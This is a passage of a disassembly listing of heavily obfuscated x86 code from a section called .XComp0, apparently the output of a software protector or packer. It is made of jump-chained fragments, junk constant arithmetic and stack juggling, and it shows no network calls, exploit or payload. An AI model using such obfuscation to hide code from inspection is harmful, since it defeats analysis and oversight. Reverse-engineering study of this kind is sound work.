eax xchg ebx, [esp] mov esp, [esp] push edi push esp mov edi, [esp] add esp, 4 jmp loc_576C28 ; --------------------------------------------------------------------------- loc_5758F6: ; CODE XREF: .XComp0:00573B9Cj mov [esp], edx mov edx, esp add edx, 4 jmp loc_582C1F ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_57D250 ; --------------------------------------------------------------------------- loc_57590F: ; CODE XREF: .XComp0:0057986Cj shl eax, 3 dec eax jmp loc_57E5E3 ; --------------------------------------------------------------------------- loc_575918: ; CODE XREF: .XComp0:005778B7j shr edx, 1 sub edx, 0F8B86D25h xor esi, edx pop edx dec esi not esi push 297h mov [esp], ebp jmp loc_5755A5 ; --------------------------------------------------------------------------- loc_575933: ; CODE XREF: .XComp0:0057841Bj shl eax, 2 push edx jmp loc_5835EA ; --------------------------------------------------------------------------- loc_57593C: ; CODE XREF: .XComp0:00581357j pop edi xor ebx, eax mov eax, [esp] add esp, 4 not ebx push ecx mov ecx, 2D361F4Ah xor ebx, ecx jmp loc_57B3E6 ; --------------------------------------------------------------------------- loc_575954: ; CODE XREF: .XComp0:00574416j sub eax, 28F6BB2Bh add ebp, eax pop eax push edi push ebp mov ebp, 5BE146CCh mov edi, 0A41EB938h add edi, ebp pop ebp push edi jmp loc_57D8EE ; --------------------------------------------------------------------------- loc_575971: ; CODE XREF: .XComp0:0057F3B3j mov ebx, 471F3F5Eh add esi, ebx pop ebx push esi inc dword ptr [esp] pop esi push edi mov edi, esp jmp loc_5751CB ; --------------------------------------------------------------------------- loc_575986: ; CODE XREF: .XComp0:0057BB19j sub esi, 48C33E56h inc esi sub esi, 0ECE3BBA8h xor ecx, esi pop esi jmp loc_575A27 ; --------------------------------------------------------------------------- loc_57599B: ; CODE XREF: .XComp0:00581391j push ebx mov ebx, 54A14D38h add ebx, 26791D33h or ebx, 6572283h shl ebx, 2 shl ebx, 1 add ebx, 0F2838822h add edi, ebx pop ebx jmp loc_57CFE1 ; --------------------------------------------------------------------------- loc_5759C0: ; CODE XREF: .XComp0:0057A54Aj push edi mov edi, 77DB381Ch jmp loc_57B15A ; --------------------------------------------------------------------------- loc_5759CB: ; CODE XREF: .XComp0:0057CBEAj sub esp, 2 mov [esp], dx mov dl, 48h sub cl, dl pop dx jmp loc_578771 ; --------------------------------------------------------------------------- loc_5759E0: ; CODE XREF: .XComp0:00580E12j shl esi, 1 jmp loc_5791D3 ; --------------------------------------------------------------------------- loc_5759E7: ; CODE XREF: .XComp0:0057ECB5j push 731343A2h jmp loc_573F12 ; --------------------------------------------------------------------------- loc_5759F1: ; CODE XREF: .XComp0:005815DEj push ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 add ecx, edx mov edx, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov ebx, 438D3E86h jmp loc_57757C ; --------------------------------------------------------------------------- loc_575A1F: ; CODE XREF: .XComp0:00579350j mov edx, eax pop eax jmp loc_575B77 ; --------------------------------------------------------------------------- loc_575A27: ; CODE XREF: .XComp0:00575996j push esi mov esi, 9420BBAh sub ecx, esi pop esi sub ebx, 64EB57D1h sub ebx, ecx add ebx, 64EB57D1h mov ecx, [esp] add esp, 4 push edx mov edx, 26D16531h shr edx, 1 sub edx, 0E5B1377Fh jmp loc_58065A ; --------------------------------------------------------------------------- loc_575A5A: ; CODE XREF: .XComp0:0057F155j push 6DB3h mov [esp], ecx push ebx mov bl, al mov ch, bl pop ebx push eax push ebx jmp loc_5754F3 ; --------------------------------------------------------------------------- loc_575A6F: ; CODE XREF: .XComp0:0057D1C7j push ecx push edx mov edx, 47DA547Ch push ebx push 7CC76CB3h pop ebx jmp loc_5777C3 ; --------------------------------------------------------------------------- loc_575A82: ; CODE XREF: .XComp0:00577449j mov bh, dh jmp loc_57E046 ; --------------------------------------------------------------------------- loc_575A89: ; CODE XREF: .XComp0:00574AD6j push 7732h mov [esp], esi push dword ptr [esp+4] jmp loc_5787E6 ; --------------------------------------------------------------------------- loc_575A9A: ; CODE XREF: .XComp0:0057369Bj shr ebx, 3 push esi mov esi, 62490CD4h xor esi, 9D2A60CFh add ebx, esi jmp loc_577FD5 ; --------------------------------------------------------------------------- loc_575AB0: ; CODE XREF: .XComp0:0057A76Bj and dl, 5Bh add dl, 0Dh sub ch, dl jmp loc_575D2C ; --------------------------------------------------------------------------- loc_575ABD: ; CODE XREF: .XComp0:0057425Bj xor edi, [esp] xor [esp], edi jmp loc_579F7A ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx sub esp, 4 mov [esp], eax mov eax, esp jmp loc_574D7D ; --------------------------------------------------------------------------- loc_575ADC: ; CODE XREF: .XComp0:0057CADFj sub edx, 1C5A7BAFh push ebx mov ebx, 0 add ebx, edx add dword ptr [ebx], 1 pop ebx jmp loc_5788E8 ; --------------------------------------------------------------------------- loc_575AF6: ; CODE XREF: .XComp0:005784DEj xor ecx, [esp] jmp loc_579F26 ; --------------------------------------------------------------------------- loc_575AFE: ; CODE XREF: .XComp0:005797FCj xor bh, 40h mov ch, bh jmp loc_57987F ; --------------------------------------------------------------------------- loc_575B08: ; CODE XREF: .XComp0:0057B6AEj pop esi add edi, esi jmp loc_57ACCC ; --------------------------------------------------------------------------- loc_575B10: ; CODE XREF: .XComp0:0057F16Fj add [esp+4], edi mov edi, [esp] push eax mov eax, esp add eax, 4 jmp loc_574EC7 ; --------------------------------------------------------------------------- loc_575B24: ; CODE XREF: .XComp0:0057F2E5j sub ebp, 0E292869h add ebx, ebp jmp loc_575479 ; --------------------------------------------------------------------------- loc_575B31: ; CODE XREF: .XComp0:0057E364j pop ebx add esi, 4 jmp loc_57A492 ; --------------------------------------------------------------------------- loc_575B3A: ; CODE XREF: .XComp0:0057DCFAj push ecx mov ecx, 0BF62318h jmp loc_57CFE8 ; --------------------------------------------------------------------------- loc_575B45: ; CODE XREF: .XComp0:005835C7j sub ebx, 0FA735657h xor ecx, ebx mov ebx, [esp] add esp, 4 jmp loc_57DC38 ; --------------------------------------------------------------------------- loc_575B58: ; CODE XREF: .XComp0:0057C052j mov [esp], edx mov edx, 474B66F8h add edx, 3CF44CCBh add edx, 7BC04C3Fh add ecx, 1CF1444Ah jmp loc_580341 ; --------------------------------------------------------------------------- loc_575B77: ; CODE XREF: .XComp0:00575A22j sub edx, 9906F3Fh sub edx, ebx sub esp, 4 jmp loc_57EE62 ; --------------------------------------------------------------------------- loc_575B8A: ; CODE XREF: .XComp0:0057819Dj add ebx, 4 push 17E1h mov [esp], esi push 4C491A0Fh pop esi jmp loc_5799C5 ; --------------------------------------------------------------------------- loc_575BA3: ; CODE XREF: .XComp0:00579FA7j sub dh, 0FAh sub dh, 84h add bl, dh pop edx jmp loc_577C54 ; --------------------------------------------------------------------------- loc_575BB1: ; CODE XREF: .XComp0:0057EC79j pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 2 jmp loc_579CAE ; --------------------------------------------------------------------------- loc_575BD1: ; CODE XREF: .XComp0:0057E457j pop esp mov [esp], esp add dword ptr [esp], 4 pop edi push eax mov eax, 57B246D5h add eax, 0A84DB92Fh jmp loc_574EF4 ; --------------------------------------------------------------------------- loc_575BEA: ; CODE XREF: .XComp0:00576884j push edi mov edi, 42F53D52h add ecx, edi pop edi add ecx, esi push ebp mov ebp, 8ED29FCh xor ebp, 7B7B3CAAh sub ebp, 53865C1Eh push esi mov esi, 32E77B5Ah sub esi, 66C02ADCh neg esi inc esi xor esi, 7EA7D1AEh add ebp, esi pop esi jmp loc_57B175 ; --------------------------------------------------------------------------- loc_575C24: ; CODE XREF: .XComp0:005804F3j shl ebp, 8 jmp loc_5800CC ; --------------------------------------------------------------------------- loc_575C2C: ; CODE XREF: .XComp0:00576CDDj and ecx, 25A1BA6h not ecx jmp loc_57B42A ; --------------------------------------------------------------------------- loc_575C39: ; CODE XREF: .XComp0:005740BFj add ebx, ebp pop ebp xchg ebx, [esp] pop esp jmp loc_5764B9 ; --------------------------------------------------------------------------- loc_575C45: ; CODE XREF: .XComp0:00579250j pop esp push ecx jmp loc_58267C ; --------------------------------------------------------------------------- loc_575C4C: ; CODE XREF: .XComp0:00582EE3j pop esp jmp loc_579983 ; --------------------------------------------------------------------------- loc_575C52: ; CODE XREF: .XComp0:005820BFj mov [esp], edi jmp loc_57B9C0 ; --------------------------------------------------------------------------- loc_575C5A: ; CODE XREF: .XComp0:00579BACj mov eax, esp add eax, 4 jmp loc_580EE2 ; --------------------------------------------------------------------------- loc_575C66: ; CODE XREF: .XComp0:00576A49j push 1FCBh mov [esp], ecx push 79A1h mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push ebp mov ebp, 4 jmp loc_57A6FB ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_57D15E ; --------------------------------------------------------------------------- loc_575CA9: ; CODE XREF: .XComp0:0057F014j add edx, 9176BD66h sub esi, 2F8B3DBCh sub esi, edx jmp loc_5787BC ; --------------------------------------------------------------------------- loc_575CBC: ; CODE XREF: .XComp0:005751C6j add ebp, ebx jmp loc_5747F7 ; --------------------------------------------------------------------------- loc_575CC3: ; CODE XREF: .XComp0:0057681Fj xor esi, 455D28EAh shr esi, 6 and esi, 5EC03019h push ebp mov ebp, 5E3F0AB7h jmp loc_57CCBB ; --------------------------------------------------------------------------- loc_575CDD: ; CODE XREF: .XComp0:00574CD0j xor ebx, 79862211h pop ebp jmp loc_5829E2 ; --------------------------------------------------------------------------- loc_575CE9: ; CODE XREF: .XComp0:005774E9j add ch, 1 push ax mov al, 29h jmp loc_577D3F ; --------------------------------------------------------------------------- loc_575CF5: ; CODE XREF: .XComp0:0057B8D7j mov esi, 4 add eax, esi pop esi xchg eax, [esp] mov esp, [esp] push ebx push esp jmp loc_5776C4 ; --------------------------------------------------------------------------- mov cx, [esp] push 651Bh jmp loc_57F15A ; --------------------------------------------------------------------------- loc_575D18: ; CODE XREF: .XComp0:00578339j or ebx, edx pop edx inc ebx jmp loc_57F741 ; --------------------------------------------------------------------------- loc_575D21: ; CODE XREF: .XComp0:0057D512j or ebx, 67C460F9h jmp loc_580BC3 ; --------------------------------------------------------------------------- loc_575D2C: ; CODE XREF: .XComp0:00575AB8j pop edx sub al, 3Ch sub al, ch push ecx mov cl, 0C4h dec cl shr cl, 4 not cl sub cl, 0B7h add al, cl pop ecx mov ecx, [esp] add esp, 4 sub esp, 4 jmp loc_57EEAF ; --------------------------------------------------------------------------- loc_575D55: ; CODE XREF: .XComp0:005784C4j push dword ptr [esp] jmp loc_57E49E ; --------------------------------------------------------------------------- loc_575D5D: ; CODE XREF: .XComp0:005750BBj xchg ebx, [esp] pop esp shr eax, 0Ah xor eax, ecx push eax push esi push esp jmp loc_58167C ; --------------------------------------------------------------------------- loc_575D6E: ; CODE XREF: .XComp0:00574D88j push ebp mov ebp, 752436Dh or ebp, 132A0A58h inc ebp xor ebp, 33DA3EE2h add eax, ebp pop ebp shl eax, 7 shl eax, 1 push edi mov edi, 2F606AA4h sub eax, edi pop edi jmp loc_57C686 ; --------------------------------------------------------------------------- loc_575D97: ; CODE XREF: .XComp0:0057A975j add esp, 4 add ebp, ecx pop ecx and eax, ebp pop ebp or edx, eax shl edx, 1 sub esp, 4 mov [esp], edx jmp loc_57A1F4 ; --------------------------------------------------------------------------- loc_575DB2: ; CODE XREF: .XComp0:00578938j pop dword ptr [esp] jmp loc_573D7C ; --------------------------------------------------------------------------- loc_575DBA: ; CODE XREF: .XComp0:0057E579j sub edx, 4 xchg edx, [esp] pop esp jmp loc_57ABE0 ; --------------------------------------------------------------------------- loc_575DC9: ; CODE XREF: .XComp0:00582407j mov ebx, esp jmp loc_57E389 ; --------------------------------------------------------------------------- loc_575DD0: ; CODE XREF: .XComp0:0057D137j shr esi, 6 jmp loc_57A51F ; --------------------------------------------------------------------------- loc_575DD8: ; CODE XREF: .XComp0:0057FE2Cj add ebx, 69F7164Bh sub ebx, 829A5EEEh add edx, ebx pop ebx jmp loc_575562 ; --------------------------------------------------------------------------- loc_575DEC: ; CODE XREF: .XComp0:0057CD63j pop ebp pop dword ptr [esp] push 3FFFh mov [esp], ebp jmp loc_57E8DA ; --------------------------------------------------------------------------- loc_575DFD: ; CODE XREF: .XComp0:00578F1Fj mov dx, [esp] add esp, 2 or bh, 1 jmp loc_57EE4D ; --------------------------------------------------------------------------- loc_575E0F: ; CODE XREF: .XComp0:0057636Cj pop ebx add ebx, 4 jmp loc_581604 ; --------------------------------------------------------------------------- loc_575E1B: ; CODE XREF: .XComp0:0057C177j pop ecx jmp loc_5821BB ; --------------------------------------------------------------------------- loc_575E21: ; CODE XREF: .XComp0:00574BC6j sub ebx, 2DB77B19h add ebx, 4ADD62D3h sub esp, 4 mov [esp], esi mov esi, 61596760h push esi push ebp jmp loc_5835E1 ; --------------------------------------------------------------------------- loc_575E42: ; CODE XREF: .XComp0:0057AAEFj pop edx sub al, 5Ch sub al, bh add al, 5Ch push dword ptr [esp] pop ebx jmp loc_573B96 ; --------------------------------------------------------------------------- loc_575E52: ; CODE XREF: .XComp0:0057EEF2j mov ebx, esp push edx jmp loc_5805BD ; --------------------------------------------------------------------------- loc_575E5A: ; CODE XREF: .XComp0:0058300Bj mov esi, 42E86248h and esi, 3CB06DBFh and esi, 277460AAh shl esi, 7 jmp loc_57A39C ; --------------------------------------------------------------------------- loc_575E73: ; CODE XREF: .XComp0:00577789j sub ebx, 7DB0150h jmp loc_57AAC7 ; --------------------------------------------------------------------------- loc_575E7E: ; CODE XREF: .XComp0:0058098Ej push 547Bh mov [esp], ebp push eax jmp loc_576CAF ; --------------------------------------------------------------------------- loc_575E8C: ; CODE XREF: .XComp0:00579827j xchg ebp, [esp] pop esp loc_575E90: ; CODE XREF: .XComp0:00576433j push ebx push dword ptr [esp] mov eax, [esp] jmp loc_57B747 ; --------------------------------------------------------------------------- loc_575E9C: ; CODE XREF: .XComp0:00583262j pop edi sub ebx, 4 xchg ebx, [esp] jmp loc_5761F5 ; --------------------------------------------------------------------------- loc_575EAB: ; CODE XREF: .XComp0:00573EA3j xchg ecx, [esp] pop esp mov eax, [esp] push ecx push esp mov ecx, [esp] add esp, 4 push esi mov esi, 45B909ABh xor esi, 2050110h add esi, 1 not esi xor esi, 0B843F747h jmp loc_57EB92 ; --------------------------------------------------------------------------- loc_575ED9: ; CODE XREF: .XComp0:00576445j push 4E150791h jmp loc_57A2B0 ; --------------------------------------------------------------------------- loc_575EE3: ; CODE XREF: .XComp0:0057BCA3j mov [esp], ecx mov ecx, 5C3A25FFh jmp loc_579255 ; --------------------------------------------------------------------------- loc_575EF0: ; CODE XREF: .XComp0:0057B96Bj push 0EAh mov [esp], eax push ebx push 7CEh mov [esp], eax push ebx mov bl, 18h mov ah, 9Ch sub ah, bl pop ebx push cx jmp loc_577CDF ; --------------------------------------------------------------------------- loc_575F10: ; CODE XREF: .XComp0:0057B425j mov eax, esp add eax, 4 push esi mov esi, 4 add eax, esi pop esi jmp loc_57A4A3 ; --------------------------------------------------------------------------- loc_575F25: ; CODE XREF: .XComp0:00579E44j xor eax, 2724E6B8h add ebp, eax pop eax jmp loc_57FCC5 ; --------------------------------------------------------------------------- loc_575F32: ; CODE XREF: .XComp0:0057D74Fj add ebx, esi jmp loc_57F9FC ; --------------------------------------------------------------------------- loc_575F39: ; CODE XREF: .XComp0:0057BE56j add edx, edi jmp loc_5780CF ; --------------------------------------------------------------------------- loc_575F40: ; CODE XREF: .XComp0:00581C22j mov edx, 54E70579h or ecx, edx pop edx neg ecx sub ecx, 2FB6B56Eh mov esi, ecx jmp loc_581618 ; --------------------------------------------------------------------------- loc_575F57: ; CODE XREF: .XComp0:0057E539j pop edx xor ebp, 4E3F68F6h xor ebp, 70A83956h and eax, ebp pop ebp shl eax, 4 add eax, 7D24FB5h sub eax, 4FB45F0Ch sub eax, 2A59DB41h add edi, eax jmp loc_582097 ; --------------------------------------------------------------------------- loc_575F80: ; CODE XREF: .XComp0:00577331j add eax, 660D4F3Bh sub eax, 4827C5C3h mov edi, eax jmp loc_5817A4 ; --------------------------------------------------------------------------- loc_575F91: ; CODE XREF: .XComp0:0057E519j pop edx add esi, 6216266Fh sub esi, edx jmp loc_579D93 ; --------------------------------------------------------------------------- loc_575F9F: ; CODE XREF: .XComp0:00574D78j add ecx, 0E7208ECh push esi jmp loc_5767DC ; --------------------------------------------------------------------------- loc_575FAB: ; CODE XREF: .XComp0:0057E800j mov eax, [esp] push ebx mov ebx, esp jmp loc_57E8E2 ; --------------------------------------------------------------------------- loc_575FB6: ; CODE XREF: .XComp0:0058368Cj mov edx, 59D66E68h add edi, 35481924h add edi, edx jmp loc_57B12B ; --------------------------------------------------------------------------- loc_575FC8: ; CODE XREF: .XComp0:0057E6BBj mov eax, [esp] jmp loc_582689 ; --------------------------------------------------------------------------- loc_575FD0: ; CODE XREF: .XComp0:00575865j mov esi, ecx pop ecx not esi push edx jmp loc_57BF92 ; --------------------------------------------------------------------------- loc_575FDB: ; CODE XREF: .XComp0:00574BDFj pop ebp push esi push dword ptr [esp+4] jmp loc_5775BF ; --------------------------------------------------------------------------- loc_575FE6: ; CODE XREF: .XComp0:00578742j mov bh, 26h jmp loc_578F34 ; --------------------------------------------------------------------------- lodsb push bx jmp loc_577C35 ; --------------------------------------------------------------------------- loc_575FF5: ; CODE XREF: .XComp0:005763FCj sub esp, 4 mov [esp], ebx mov ebx, 0AC71FA1h shr ebx, 2 shr ebx, 5 shl ebx, 8 shl ebx, 3 sub ebx, 86C4A633h sub eax, ebx jmp loc_5830FC ; --------------------------------------------------------------------------- loc_576019: ; CODE XREF: .XComp0:0057FF37j or ch, 2Dh shr ch, 1 sub ch, 26h push edx jmp loc_57517D ; --------------------------------------------------------------------------- loc_576027: ; CODE XREF: .XComp0:00579EB0j sub esp, 4 mov [esp], ebx mov bl, 14h sub bl, 22h sub bl, 0B3h jmp loc_5779E9 ; --------------------------------------------------------------------------- loc_57603A: ; CODE XREF: .XComp0:0057393Cj mov ebx, 3D6A6ADFh add [esp+4], ebx pop ebx pop ebx jmp loc_5796B4 ; --------------------------------------------------------------------------- loc_57604A: ; CODE XREF: .XComp0:005739E5j xchg ebx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, ecx jmp loc_57488D ; --------------------------------------------------------------------------- loc_57605E: ; CODE XREF: .XComp0:0057906Aj mov esp, [esp] xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] movzx ecx, ax jmp loc_57C2F5 ; --------------------------------------------------------------------------- loc_576075: ; CODE XREF: .XComp0:00578211j pop esi mov ebx, [esp] add esp, 4 mov ebp, 3935D278h xor ebp, esi push dword ptr [esp] pop esi add esp, 4 push edx mov edx, 228856DAh dec edx dec edx jmp loc_57E4E2 ; --------------------------------------------------------------------------- loc_57609D: ; CODE XREF: .XComp0:0057C8FBj push ebp mov ebp, 28F34E20h shl ebp, 8 push edx mov edx, 0BF7058Bh neg edx jmp loc_5773BF ; --------------------------------------------------------------------------- loc_5760B3: ; CODE XREF: .XComp0:00580FE8j add edi, ebp jmp loc_577DFD ; --------------------------------------------------------------------------- loc_5760BA: ; CODE XREF: .XComp0:00581894j xor eax, edi pop edi add eax, 3763FC44h or esi, eax pop eax inc esi push edi jmp loc_57FB25 ; --------------------------------------------------------------------------- loc_5760CC: ; CODE XREF: .XComp0:0058159Bj neg bh xor bh, 0FAh add bh, 3Bh add dh, bh pop ebx push eax mov al, dh mov ch, al pop eax push dword ptr [esp] pop edx add esp, 4 shl ch, 8 neg ch dec ch jmp loc_57481A ; --------------------------------------------------------------------------- loc_5760F0: ; CODE XREF: .XComp0:0057AA51j mov ebx, 2E4667F5h push ebx not dword ptr [esp] pop ebx dec ebx push ecx mov ecx, 6123B3ECh add ebx, ecx pop ecx mov edx, ebx pop ebx shr edx, 2 or edx, 400730C7h xor edx, 38F929C9h add edx, 37579D55h add edi, edx pop edx jmp loc_57D236 ; --------------------------------------------------------------------------- loc_576124: ; CODE XREF: .XComp0:0057AFB6j mov ebp, ecx pop ecx push ecx mov ecx, 63C34EFBh xor ecx, 3C6242BAh xor ecx, 3E2026h jmp loc_57CD70 ; --------------------------------------------------------------------------- loc_57613E: ; CODE XREF: .XComp0:0057ADBEj sub esi, 3AF60109h add esi, ecx add esi, 3AF60109h mov ecx, [esp] add esp, 4 push edi mov edi, 4 add esi, 15FD75CAh sub esi, 4DD24E83h add esi, edi sub esp, 4 jmp loc_57894A ; --------------------------------------------------------------------------- loc_576171: ; CODE XREF: .XComp0:00576AD9j mov ebx, 567678AFh or ebx, 362F7E68h jmp loc_57F2CE ; --------------------------------------------------------------------------- loc_576181: ; CODE XREF: .XComp0:0057D81Cj and ecx, 11C84F14h jmp loc_57A61D ; --------------------------------------------------------------------------- loc_57618C: ; CODE XREF: .XComp0:00574E19j pop ebx and ebx, 1EDF31D7h push ecx push edx jmp loc_573CD0 ; --------------------------------------------------------------------------- loc_57619A: ; CODE XREF: .XComp0:0057CDDBj not edx dec edx sub edx, 2E3D30BAh sub edx, 753A52AAh and edi, edx pop edx jmp loc_573CB2 ; --------------------------------------------------------------------------- loc_5761B1: ; CODE XREF: .XComp0:00578CCEj xor ebx, 6CD666CFh xor ebx, 5E161F7h xor eax, ebx push dword ptr [esp] pop ebx jmp loc_57354D ; --------------------------------------------------------------------------- loc_5761C8: ; CODE XREF: .XComp0:00574EACj xchg eax, edi not edi jmp loc_5748E3 ; --------------------------------------------------------------------------- loc_5761D0: ; CODE XREF: .XComp0:0057D89Cj add al, bl jmp loc_57ACC6 ; --------------------------------------------------------------------------- loc_5761D7: ; CODE XREF: .XComp0:00574341j sub esi, 4C1D01E4h add esi, edi add esi, 4C1D01E4h jmp loc_578686 ; --------------------------------------------------------------------------- loc_5761EA: ; CODE XREF: .XComp0:0057FD63j sub esp, 4 jmp loc_57F088 ; --------------------------------------------------------------------------- loc_5761F5: ; CODE XREF: .XComp0:00575EA6j mov esp, [esp] jmp loc_57AD66 ; --------------------------------------------------------------------------- loc_5761FD: ; CODE XREF: .XComp0:005832C0j add al, dl add al, 58h jmp loc_57EBBC ; --------------------------------------------------------------------------- loc_576206: ; CODE XREF: .XComp0:0057B4C0j mov ebp, [esp] add esp, 4 and edi, 0C1E1053h inc edi xor edi, 4A485Ch add edi, 7136D695h add ebx, edi push dword ptr [esp] pop edi add esp, 4 mov esi, ebx mov ebx, [esp] jmp loc_5833E3 ; --------------------------------------------------------------------------- loc_576232: ; CODE XREF: .XComp0:00575671j xor eax, edx push 30C1h mov [esp], esi push ecx jmp loc_57CFD7 ; --------------------------------------------------------------------------- loc_576242: ; CODE XREF: .XComp0:00573658j pop esi mov esi, ecx mov ecx, [esp] jmp loc_573A4E ; --------------------------------------------------------------------------- loc_57624D: ; CODE XREF: .XComp0:00574790j pop edx push ebp mov ebp, 2 add ebx, ebp pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov ax, [esp] push esi mov esi, esp add esi, 4 push ecx mov ecx, 49030DADh not ecx jmp loc_57D816 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57627D: ; CODE XREF: sub_5A47B5-2CE42j xchg eax, [esp+26h+var_28+2] pop esp jmp loc_57B167 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_576286: ; CODE XREF: .XComp0:0057FBF8j sub esp, 4 jmp loc_573B44 ; --------------------------------------------------------------------------- loc_57628E: ; CODE XREF: .XComp0:0057838Aj mov edx, esp push esi mov esi, 1B5B6905h jmp loc_57A7BB ; --------------------------------------------------------------------------- loc_57629B: ; CODE XREF: .XComp0:0057FCAAj xor eax, 0CD8E5CB4h sub edx, eax jmp loc_579402 ; --------------------------------------------------------------------------- loc_5762A7: ; CODE XREF: .XComp0:005744A2j xor ebx, ecx pop ecx jmp loc_57FB1A ; --------------------------------------------------------------------------- loc_5762AF: ; CODE XREF: .XComp0:0058260Cj xchg edi, ebp jmp loc_57DF27 ; --------------------------------------------------------------------------- loc_5762B6: ; CODE XREF: .XComp0:0057A3A8j and eax, 5CA876ACh push ebp mov ebp, 5B3A7BB7h xor eax, ebp pop ebp mov ebp, eax mov eax, [esp] add esp, 4 jmp loc_582D24 ; --------------------------------------------------------------------------- loc_5762D4: ; CODE XREF: .XComp0:0057B7F1j push 0BF8h mov [esp], esi mov esi, 0A30A014Ch jmp loc_581CD7 ; --------------------------------------------------------------------------- loc_5762E6: ; CODE XREF: .XComp0:0057BACFj mov ebx, 4 jmp loc_576367 ; --------------------------------------------------------------------------- loc_5762F0: ; CODE XREF: .XComp0:00578381j push edx mov edx, 7A925301h shr edx, 1 xor edx, 7F1A5111h or edx, 34E305Dh neg edx xor edx, 0D52D7499h jmp loc_580993 ; --------------------------------------------------------------------------- loc_576311: ; CODE XREF: .XComp0:00574AEDj add esp, 4 jmp loc_57D3D2 ; --------------------------------------------------------------------------- mov cx, [esp] push 4C4Ch mov [esp], edi push esp jmp loc_5807E5 ; --------------------------------------------------------------------------- loc_57632B: ; CODE XREF: .XComp0:005742DDj mov bl, al jmp loc_580B66 ; --------------------------------------------------------------------------- loc_576332: ; CODE XREF: .XComp0:005820DFj pop edx movzx ax, byte ptr [eax] jmp loc_57FB0D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_578216 ; --------------------------------------------------------------------------- loc_57634B: ; CODE XREF: .XComp0:00580B2Ej push esi mov esi, 4CBC1DAEh mov ecx, 0C8D511C6h jmp loc_58054A ; --------------------------------------------------------------------------- loc_57635B: ; CODE XREF: .XComp0:00580FF0j push ecx sub esp, 4 jmp loc_57F687 ; --------------------------------------------------------------------------- loc_576367: ; CODE XREF: .XComp0:005762EBj add [esp+4], ebx pop ebx jmp loc_575E0F ; --------------------------------------------------------------------------- loc_576371: ; CODE XREF: .XComp0:0057AD4Fj add ecx, 4 jmp loc_57933A ; --------------------------------------------------------------------------- mov ax, [esp] push 2C2h jmp loc_5814DD ; --------------------------------------------------------------------------- loc_576387: ; CODE XREF: .XComp0:0057BCE0j neg esi sub esi, 48FB66AFh push ebp mov ebp, 74118692h xor esi, ebp pop ebp add edi, esi jmp loc_57DC18 ; --------------------------------------------------------------------------- loc_57639F: ; CODE XREF: .XComp0:005735DFj add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_578FED ; --------------------------------------------------------------------------- loc_5763B0: ; CODE XREF: .XComp0:00573548j add ecx, esi add ecx, 37E46E25h pop esi add ecx, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] jmp loc_57F996 ; --------------------------------------------------------------------------- loc_5763D1: ; CODE XREF: .XComp0:0057AB15j add bp, cx pop cx not bp sub bp, 1826h sub ax, bp jmp loc_57E210 ; --------------------------------------------------------------------------- loc_5763E6: ; CODE XREF: .XComp0:0057935Ej add ebp, edx jmp loc_581572 ; --------------------------------------------------------------------------- loc_5763ED: ; CODE XREF: .XComp0:0057B542j add dh, 3Fh push ebx mov bh, 0D3h add bh, 5Ch jmp loc_582C05 ; --------------------------------------------------------------------------- loc_5763FB: ; CODE XREF: .XComp0:0057736Ej pop eax jmp loc_575FF5 ; --------------------------------------------------------------------------- loc_576401: ; CODE XREF: .XComp0:00580A55j mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_583430 ; --------------------------------------------------------------------------- loc_576414: ; CODE XREF: .XComp0:00582155j xor ecx, 542F377Ah and ecx, 7D82590Dh add ecx, 0C9459024h sub esi, ecx pop ecx and eax, esi mov esi, [esp] add esp, 4 or eax, eax jz loc_575E90 push dword ptr [edi+1Ch] push edx push 6B7Bh mov [esp], edi jmp loc_575ED9 ; --------------------------------------------------------------------------- loc_57644A: ; CODE XREF: .XComp0:00573DCEj xchg edi, [esp] pop esp mov [esp], ebx pop edx pop ebx xor [esp], edx xor edx, [esp] xor [esp], edx jmp loc_573541 ; --------------------------------------------------------------------------- loc_576461: ; CODE XREF: .XComp0:005772ACj add esp, 4 push ebp not dword ptr [esp] pop ebp inc ebp push esi mov esi, 0F11BD1EAh jmp loc_57ACD7 ; --------------------------------------------------------------------------- loc_576478: ; CODE XREF: .XComp0:0057D26Aj mov [esp], ecx jmp loc_576C78 ; --------------------------------------------------------------------------- loc_576480: ; CODE XREF: .XComp0:0057BD42j mov esi, esp add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] jmp loc_5832C5 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push 6E3Fh mov [esp], eax push esp pop eax push ebp mov ebp, 4 jmp loc_581E11 ; --------------------------------------------------------------------------- loc_5764B9: ; CODE XREF: .XComp0:00575C40j pop eax jmp loc_57368A ; --------------------------------------------------------------------------- loc_5764BF: ; CODE XREF: .XComp0:005786A6j sub ecx, ebp pop ebp jmp loc_57F121 ; --------------------------------------------------------------------------- loc_5764C7: ; CODE XREF: .XComp0:0057F597j pop eax jmp loc_57B6A1 ; --------------------------------------------------------------------------- loc_5764CD: ; CODE XREF: .XComp0:0057E292j push 1833h mov [esp], eax sub esp, 4 jmp loc_574C21 ; --------------------------------------------------------------------------- loc_5764DD: ; CODE XREF: .XComp0:005829A1j push edi mov edi, 9554508h jmp loc_574962 ; --------------------------------------------------------------------------- loc_5764E8: ; CODE XREF: .XComp0:0057D356j pop edi pop esi add edi, 0FFFFFFFFh shr edi, 8 add edi, 0FFFFFFFFh sub esp, 4 mov [esp], ebx mov ebx, 8DB16C93h sub edi, ebx pop ebx jmp loc_57F920 ; --------------------------------------------------------------------------- loc_576509: ; 